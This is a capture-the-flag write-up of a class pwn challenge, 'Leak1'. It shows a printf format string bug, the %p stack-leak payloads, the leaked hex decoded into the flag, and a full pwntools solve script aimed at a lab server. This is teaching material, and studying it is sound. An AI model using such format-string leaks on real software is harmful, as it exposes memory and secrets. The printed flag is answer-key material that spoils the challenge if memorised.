VERE - Pwn-2 - Leak1

Published at Mar 29, 2025

#ctf#pwn
Challenge Description

Use the printf() vulnerability to leak the flag from the stack like we discussed in class.


Format String Vulnerability

This challenge gave a hint as to what vulnerability to look into, as well as a single ELF file to debug locally.

Loading up our leak1 file in Ghidra, here is the section with the printf ca section that passes user input directly into the printf() function without any format string:

printf("Enter your name: ");
__isoc99_scanf(&DAT_0010203e,local_58);
printf("Hello, ");
printf(local_58);

This is shown as assembly here:

00101307 48 8d 45 b0     LEA        RAX=>local_58,[RBP + -0x50]   ; Load user input address
0010130b 48 89 c7        MOV        RDI,RAX                       ; Set as first argument
0010130e b8 00 00        MOV        EAX,0x0                       ; Zero out RAX
00 00
00101313 e8 68 fd        CALL       <EXTERNAL>::printf            ; Call printf with user input as format string

I can see also that the program reads from flag.txt during initialization:

pFVar2 = fopen("flag.txt","r");
001012a4 e8 97 fd        CALL       <EXTERNAL>::__isoc99_fscanf   ; Read flag from file

Exploring the Stack

First, I used a format string to explore the first ten arguments, leaking the contents of the registers and the stack layout:

payload = b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"

The output showed values on the stack:

Stack dump: Hello, 0x7ffe1e299e90.(nil).(nil).0x7.0x3c.0x7ffe1e29a218.0x1002b002a.0x48.0x61aa1b6352a0.0x6972707b65726576

This looked like a whole lot of nonsense, but when I dropped the different values into a hex to ASCII converter, the last value (0x6972707b65726576) looked promising. Once it was converted from little-endian hex to ASCII, it spelled out vere{pri - this looks like the start of a flag!

2. Extracting the Flag

I cleaned up my script a little so that it would automatically decode for me as I was extracting the data. Since I found the first part of the flag in argument 10, I targeted the next subsequent arguments, eventually landing on 5 arguments (10-14) to extract the full flag:

payload = b"%10$p.%11$p.%12$p.%13$p.%14$p"

This gave me the following hex values:

0x6972707b65726576.0x5f746f675f66746e.0x5f65736f6e5f7275.0x6631666466616365.0x7d63366436

When I decode this, the flag is printed in the clear for me!

flag

Flag:

vere{printf_got_ur_nose_ecafdf1f6d6c}

Solve Script

# Boilerplate pwn script
from pwn import *


# initialize the binary and set the context (architecture, etc.)
binary = "./leak1" # ensure it is executable (chmod +x)
elf = context.binary = ELF(binary, checksec=False)

gs = """
b main
b *main+0xE0
b *main+0x100
continue
"""

# run with python3 exploit.py REMOTE
if args.REMOTE:
    p = remote("172.16.16.7", 36920)

# run with python3 exploit.py GDB
elif args.GDB:
    context.terminal = ["tmux", "splitw", "-h"]

    p = gdb.debug(binary, gdbscript=gs)
    
# run with python3 exploit.py VERT
elif args.VERT:
    context.terminal = ["tmux", "splitw", "-v"]

    p = gdb.debug(binary, gdbscript=gs)

# run with python3 exploit.py
else:
    p = elf.process()


### EXPLOIT LOGIC ###

# First, use a format string to dump memory as hex values
p.recvuntil(b"Enter your name: ")
payload = b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
p.sendline(payload)

# Receive the memory dump to verify the stack layout
response = p.recvline().strip()
print(f"Stack dump: {response.decode()}")

# Now use a more targeted approach for the actual flag
p.recvuntil(b"Enter your name: ")

# Get flag parts as hex values
payload = b"%10$p.%11$p.%12$p.%13$p.%14$p"
p.sendline(payload)

response = p.recvline().strip()
print(f"Raw flag parts: {response.decode()}")

# Parse the hex values and convert to ASCII
try:
    # Remove the "Hello, " prefix
    parts = response.decode().replace("Hello, ", "").split('.')
    
    # Convert each hex value to bytes (accounting for little-endian format)
    flag_parts = []
    for part in parts:
        # Convert from hex string to int
        hex_val = int(part, 16)
        # Convert to bytes in little-endian and decode
        bytes_val = hex_val.to_bytes((hex_val.bit_length() + 7) // 8, 'little')
        # Reverse the bytes to get the correct order
        ascii_val = bytes_val.decode('ascii')
        flag_parts.append(ascii_val)
    
    # Join all parts to form the complete flag
    flag = ''.join(flag_parts)
    print(f"\n[+] EXTRACTED FLAG: {flag}")
    
except Exception as e:
    print(f"Error parsing flag: {e}")

# Exit cleanly
p.recvuntil(b"Enter your name: ", timeout=1)
p.sendline(b"done")

p.interactive()

Zac Conlin © 2025